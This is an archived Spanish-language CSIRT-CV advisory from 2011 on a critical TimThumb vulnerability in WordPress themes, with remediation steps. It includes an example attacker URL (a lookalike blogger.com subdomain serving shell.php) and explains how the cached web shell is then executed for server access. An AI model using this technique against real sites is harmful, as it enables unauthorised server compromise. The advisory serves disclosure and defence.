CSIRTCV

Está usted visitando una publicación en la hemeroteca de CSIRT-CV.
Para acceder al portal y contenido actual, visite https://www.csirtcv.gva.es

05/08/2011

Vulnerabilidad 0-day en TimThumb de Wordpress

Recientemente se ha descubierto una vulnerabilidad que podría permitir a un atacante subir código PHP al servidor de forma arbitraria.

Riesgo: Crítico

Timthumb.php es un script sencillo y flexible que permite redimensionar imágenes y que viene con muchos temas de WordPress.Cuando TimThumb trata una imagen escribe en un directorio que es accesible vía web. El problema es que la utilidad no comprueba correctamente los dominios desde los que se les permite recibir la imagen:

$allowedSites = array ('flickr.com','
picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',);

De esta manera, podremos subir nuestro código simplemente especificando alguno de los dominios del array en la URL. Por ejemplo:
http://blogger.com.somebadhackersite.com/shell.php

El servidor de Wordpress cargará entonces el fichero y lo almacenará en el caché (/wp-content/themes/yourtheme/timthumbdir/cache/shell.php), de tal forma que podremos ejecutarlo desde el navegador y, en el caso de subir un shell, acceder a la máquina con los privilegios de la cuenta del servidor web...

Tener en cuenta que se trata de un 0-day bastante crítico ya que una búsqueda en Google indica la presencia de miles de estos scripts en la web...

Sistemas Afectados:

Versiones anteiores a 1.34

Referencias:

None

Solución:

Actualizar a la última versión disponible (1.34), eliminar todos los dominios del array ($allowedSites = array();) si sólo se redimensionan imágenes locales, o borrarlo directamente si no se utiliza.

Notas:

http://hackplayers.blogspot.com/2011/08/vulnerabilidad-0-day-en-timthumb-de.html
http://www.securityfocus.com/bid/48963/info
http://code.google.com/p/timthumb/issues/detail?id=212

Fuente: HackPlayers

CSIRT-CV